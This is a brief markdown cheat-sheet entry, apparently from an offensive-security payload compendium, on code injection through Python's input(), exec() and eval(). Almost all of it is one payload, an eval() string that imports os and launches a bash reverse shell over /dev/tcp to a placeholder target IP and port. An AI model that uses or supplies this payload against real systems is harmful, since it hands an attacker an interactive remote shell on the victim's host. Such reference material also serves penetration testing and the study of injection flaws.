killchain-compendium/exploit/python/code_injection.md

11 lines
208 B
Markdown
Raw Normal View History

2022-01-31 18:30:47 +01:00
# Code Injection
* Python's `input()`, `exec()` and `eval()` makes it possible
## Usage
* Payload example
```python
eval("__import__('os').system('bash -i >& /dev/tcp/$TARGET_IP/$TARGET_PORT 0>&1')#")
```